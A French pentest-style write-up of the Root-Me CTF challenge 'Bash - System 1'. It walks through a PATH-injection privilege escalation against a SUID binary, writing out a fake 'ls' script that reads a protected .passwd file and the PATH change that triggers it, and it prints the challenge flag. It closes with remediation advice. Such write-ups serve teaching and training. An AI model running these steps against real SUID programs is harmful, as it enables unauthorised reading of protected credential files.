RAPPORT DE PENTEST

Bash - System 1 – Root-Me Writeup

CLIENT	AUTEUR DU RAPPORT	RÔLE DE L'AUTEUR	PÉRIODE
Root-Me	Philippe Bécué	Pen-tester	28/02/2026 - 28/02/2026

Ce rapport est publié avec l'accord du client, une fois les vulnérabilités corrigées.

Sommaire

01 **Avertissement — Simulation / CTF**
Informations légales, confidentialité et conditions d'utilisation de ce document

02 **Vidéo Démo**
Démonstration vidéo de l'exploitation ou du déroulement de la mission

03 **Tableau des vulnérabilités**
Grille de classification des niveaux de gravité et scores CVSS utilisés dans ce rapport

04 **Liste des intervenants**
Présentation des membres de l'équipe ayant participé à la mission de test d'intrusion

05 **Scope**
Définition du périmètre d'audit — systèmes et applications inclus et exclus du test

06 **Information Gathering**
Collecte d'informations publiques sur la cible : WHOIS, DNS, certificats SSL, technologies exposées

07 **OSINT**
Reconnaissance en sources ouvertes — réseaux sociaux, fuites de données, empreinte numérique

08 **Enumeration**
Découverte des services, ports ouverts, versions logicielles et points d'entrée identifiés

09 **Analyse de vulnérabilités**
Identification, qualification et classification des failles de sécurité découvertes

10 **Exploitation**
Démonstration technique de l'exploitation des vulnérabilités confirmées

11 **Post-Exploitation**
Actions post-compromission — élévation de privilèges, persistance et mouvement latéral

12 **Tableau de synthèse des vulnérabilités**
Récapitulatif consolidé de toutes les vulnérabilités avec leur score CVSS et leur criticité

13 **Conclusion**
Synthèse de la mission, bilan global du niveau de sécurité et évaluation du risque

14 **Solution**
Recommandations techniques et organisationnelles pour remédier aux vulnérabilités identifiées

01

Avertissement — Simulation / CTF

Le présent document est le compte-rendu d'une mission réalisée dans un cadre simulé, à des fins exclusivement pédagogiques et d'entraînement. L'infrastructure ciblée est une machine virtuelle ou un environnement de type Capture The Flag (CTF), volontairement vulnérable et conçu pour l'apprentissage des techniques offensives et défensives en cybersécurité. Aucun système de production réel, aucune donnée personnelle et aucune infrastructure tiers n'ont été impliqués lors de cette mission.

Les techniques, outils et méthodes décrits dans ce rapport sont présentés à titre éducatif. Leur reproduction sur des systèmes informatiques sans autorisation explicite du propriétaire est illégale et passible de poursuites pénales en vertu de la législation applicable en matière de cybercriminalité. L'auteur décline toute responsabilité en cas d'utilisation détournée des informations contenues dans ce document à des fins malveillantes ou non autorisées.

Ce rapport s'inscrit dans une démarche de montée en compétences et de documentation des savoir-faire en sécurité offensive. Il peut être partagé à des fins de démonstration ou de référence professionnelle dans le respect des conditions d'utilisation de la plateforme ou de l'organisateur du challenge concerné. Toute reproduction partielle ou totale à des fins commerciales est interdite sans autorisation préalable de l'auteur.

02

Vidéo Démo

Une démonstration vidéo de cette mission est disponible en ligne. La vidéo illustre le déroulement de l'exploitation et les techniques mises en œuvre.

Video

> LIEN VERS LA VIDÉO
>
> https://youtu.be/ge8IeJ1_Z74

03

Tableau des vulnérabilités

Le tableau suivant définit les niveaux de gravité et les plages de scores CVSS correspondantes utilisés dans tout le document pour évaluer la vulnérabilité et l'impact des risques.

GRAVITÉ	PLAGE DE SCORE CVSS V3	DÉFINITION
CRITIQUE	9.0 – 10.0	L'exploitation est simple et aboutit généralement à une compromission totale du système. Il est conseillé d'établir un plan d'action et d'appliquer le correctif immédiatement.
ÉLEVÉE	7.0 – 8.9	L'exploitation est plus difficile mais peut entraîner une élévation de privilèges et potentiellement une perte de données ou une interruption de service. Il est conseillé d'établir un plan d'action et d'appliquer le correctif dès que possible.
MODÉRÉE	4.0 – 6.9	Des vulnérabilités existent mais ne sont pas directement exploitables ou nécessitent des étapes supplémentaires comme l'ingénierie sociale. Il est conseillé d'établir un plan d'action et d'appliquer le correctif après résolution des problèmes prioritaires.
FAIBLE	0.1 – 3.9	Les vulnérabilités ne sont pas exploitables mais réduiraient la surface d'attaque de l'organisation. Il est conseillé d'établir un plan d'action et d'appliquer le correctif lors de la prochaine fenêtre de maintenance.
INFORMATIVE	N/A	Aucune vulnérabilité n'existe. Des informations supplémentaires sont fournies concernant les éléments remarqués lors des tests, les contrôles solides et la documentation complémentaire.

04

Liste des intervenants

NOM	RÔLE	EMAIL	ENVIRONNEMENT
Philippe Bécué	Pen-tester	contact@white-hat.fr	Windows

05

Scope

Portée du test

NOM	DÉTAILS
challenge02.root-me.org:2222	Challenge Root-Me – Bash - System 1 (App-Script, Facile, 5 pts)

Exclusions du scope

Aucune exclusion définie. Cliquez sur "Ajouter une exclusion" pour commencer.

06

Information Gathering

Le challenge met à disposition un accès SSH sur le serveur `challenge02.root-me.org` au port `2222`. La connexion s'effectue avec les identifiants fournis dans l'énoncé :

```
ssh -p 2222 app-script-ch11@challenge02.root-me.org
```

Une fois connecté, on constate que le répertoire personnel de l'utilisateur pointe directement sur le dossier du challenge : `/challenge/app-script/ch11/`. Un listing détaillé révèle la structure du challenge :

```
ls -la /challenge/app-script/ch11/
-rwsr-xr-x 1 app-script-ch11-cracked app-script-ch11  ... ch11
-r-------- 1 app-script-ch11-cracked app-script-ch11  ... .passwd
```

Deux éléments retiennent immédiatement l'attention. Le binaire `ch11` possède le bit SUID activé (le `s` dans `-rws`), ce qui signifie qu'il s'exécute avec les droits de son propriétaire `app-script-ch11-cracked`, peu importe l'utilisateur qui le lance. Le fichier `.passwd`, cible de l'attaque, est en lecture seule pour son propriétaire uniquement (`-r--------`) : il est inaccessible directement depuis notre compte.

L'énoncé du challenge fournit également le code source C du binaire `ch11`, ce qui est une aide précieuse pour comprendre exactement ce qu'il fait avant de tenter quoi que ce soit.

07

OSINT

Aucun contenu n'a encore été ajouté à cette section.

08

Enumeration

Analyse du code source fourni

Le code source du binaire est disponible dans l'énoncé du challenge. C'est le point de départ indispensable de toute l'analyse :

```
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void)
{
    setreuid(geteuid(), geteuid());
    system("ls /challenge/app-script/ch11/.passwd");
    return 0;
}
```

Le programme fait deux choses. D'abord, `setreuid(geteuid(), geteuid())` synchronise le Real UID sur l'Effective UID du processus. Sous Linux, chaque processus possède ces deux identifiants distincts : le Real UID représente qui a lancé le programme, l'Effective UID représente avec quels droits il tourne réellement. Sur un binaire SUID, ces deux valeurs diffèrent au démarrage (Real UID = l'attaquant, Effective UID = le propriétaire du SUID). Cette ligne les force à être identiques pour éviter qu'un sous-shell bash ne détecte cette divergence et abandonne les privilèges élevés — une protection interne de bash qui consiste à vérifier si `real_uid != effective_uid` et à appeler `setuid(real_uid)` dans ce cas. Ensuite, `system("ls /challenge/app-script/ch11/.passwd")` appelle la commande `ls` **sans chemin absolu**.

Recherche de répertoires inscriptibles

Pour exploiter la faille, il faut pouvoir écrire un fichier sur le système. Les répertoires standards comme `/tmp` sont verrouillés sur ce challenge. La commande suivante permet d'identifier tous les répertoires où l'écriture est autorisée :

```
find / -writable -type d 2>/dev/null
/var/lib/php5
```

```
/var/tmp
...
```

Après test, le répertoire `/var/lib/php5` s'avère effectivement accessible en écriture :

```
echo '1' > /var/lib/php5/test.txt
cat /var/lib/php5/test.txt
1
```

09

Analyse de vulnérabilités

PATH Injection sur binaire SUID

La vulnérabilité repose sur la combinaison de deux éléments : un binaire SUID qui délègue l'exécution à un sous-shell via `system()`, et l'utilisation d'un nom de commande relatif (`ls`) au lieu d'un chemin absolu (`/bin/ls`).

Lorsque `system()` est appelé, il exécute en interne :

```
execve("/bin/sh", ["sh", "-c", "ls /challenge/..."], environ)
```

Le shell reçoit ainsi la commande `ls` à résoudre. Il parcourt la variable d'environnement `PATH` de gauche à droite et exécute le premier binaire nommé `ls` qu'il rencontre. Or, la variable `PATH` est héritée de l'utilisateur qui a lancé le binaire SUID. Si l'attaquant y place son propre répertoire en premier, le shell trouvera son faux `ls` avant le vrai `/bin/ls`.

Le mécanisme `setreuid` présent dans le code garantit que bash ne viendra pas contrecarrer l'exploit en abandonnant les droits élevés. Sans cette ligne, bash détecterait que Real UID et Effective UID diffèrent et réduirait silencieusement ses propres privilèges avant d'exécuter la commande.

La règle d'or non respectée ici est la suivante : dans tout programme SUID, il faut **toujours utiliser des chemins absolus** et **redéfinir manuellement le PATH** en début de programme.

10

Exploitation

Création du faux binaire ls

Dans le répertoire inscriptible identifié, on crée un script shell qui se fait passer pour `ls`. Au lieu de lister des fichiers, il affiche le contenu de la cible :

```
echo '#!/bin/sh' > /var/lib/php5/ls
echo 'cat /challenge/app-script/ch11/.passwd' >> /var/lib/php5/ls
chmod +x /var/lib/php5/ls
```

Le shebang `#!/bin/sh` indique au système quel interpréteur utiliser. Sans `chmod +x`, le shell refuserait d'exécuter le fichier malgré sa présence dans le PATH.

Injection dans la variable PATH

On place notre répertoire en tête du PATH, avant tous les répertoires système. Le mot-clé `export` est indispensable : sans lui, la variable ne serait pas transmise aux processus enfants, et le binaire `ch11` utiliserait son propre PATH hérité du shell de login.

```
export PATH=/var/lib/php5:$PATH
```

On peut vérifier que bash trouvera bien notre faux `ls` en premier :

```
which ls
/var/lib/php5/ls
```

Déclenchement de l'exploit

Il ne reste qu'à exécuter le binaire SUID. Le chemin relatif seul ne suffit pas — le répertoire courant n'est jamais dans le PATH par défaut sous Linux. Il faut impérativement préciser le chemin :

```
./ch11
!oPe96a/.s8d5
```

La chaîne d'exécution complète : `ch11` s'exécute avec l'Effective UID du propriétaire SUID → `setreuid` synchronise le Real UID → `system()` forke un bash qui hérite de notre PATH → bash trouve `/var/lib/php5/ls` en premier →

notre script tourne avec les droits élevés → `cat` lit `.passwd` et affiche le flag.

11

Post-Exploitation

Aucun contenu n'a encore été ajouté à cette section.

12

Tableau de synthèse des vulnérabilités

PATH Injection sur binaire SUID — HIGH

APPLICATION

ch11 (binaire SUID)

TYPE

Privilege Escalation

IMPACT PRINCIPAL

Exécution d'un binaire arbitraire avec les droits du propriétaire du SUID via manipulation de la variable PATH

13

Conclusion

Ce challenge illustre une classe de vulnérabilités très classique en environnement Unix : la **PATH Injection sur binaire SUID**. La chaîne d'attaque complète se résume en quatre étapes :

1. Lecture du code source fourni → identification de `system("ls ...")` avec chemin relatif
2. Recherche d'un répertoire inscriptible sur le système via `find / -writable -type d`
3. Création d'un faux binaire `ls` qui lit le fichier protégé, puis injection du répertoire en tête du PATH
4. Exécution du binaire SUID qui déclenche notre payload avec ses droits élevés

Le point technique le plus intéressant de ce challenge est le rôle de `setreuid(geteuid(), geteuid())`. Loin d'être une protection, cette ligne est au contraire ce qui rend l'exploit *fiable* sur les versions modernes de bash : elle neutralise la protection anti-SUID interne de bash en synchronisant Real UID et Effective UID avant le passage en sous-shell.

Ce challenge confirme que la ressource citée par root-me reste d'actualité — la *Lesson Two* des dangers des scripts SUID : ne jamais appeler un binaire par son nom relatif dans un programme privilégié.

14

Solution

1. Utiliser des chemins absolus dans les appels système

La correction principale consiste à remplacer le nom de commande relatif par son chemin absolu. Le programme ne serait alors plus sensible à la valeur de la variable `PATH` :

```
// Vulnérable
system("ls /challenge/app-script/ch11/.passwd");

// Corrigé
system("/bin/ls /challenge/app-script/ch11/.passwd");
```

2. Redéfinir manuellement le PATH en début de programme

En complément, tout programme SUID devrait redéfinir le PATH à un ensemble minimal et de confiance avant tout appel à `system()` ou à un exec qui s'appuie sur la résolution de nom :

```
putenv("PATH=/usr/local/bin:/usr/bin:/bin");
system("/bin/ls /challenge/app-script/ch11/.passwd");
```

3. Préférer execve() à system()

`system()` passe nécessairement par un shell intermédiaire, ce qui introduit une surface d'attaque (PATH, IFS, variables d'environnement shell). La fonction `execve()` exécute directement le programme sans invoquer de shell, éliminant cette surface :

```
char *args[] = {"/bin/ls", "/challenge/app-script/ch11/.passwd", NULL};
execve("/bin/ls", args, NULL);
```

4. Appliquer le principe du moindre privilège

Si le binaire n'a pas besoin du bit SUID pour toute sa durée d'exécution, il convient de restituer les droits élevés dès qu'ils ne sont plus nécessaires via `setuid(getuid())`, conformément au principe du moindre privilège décrit dans les ressources SUID de Syracuse University.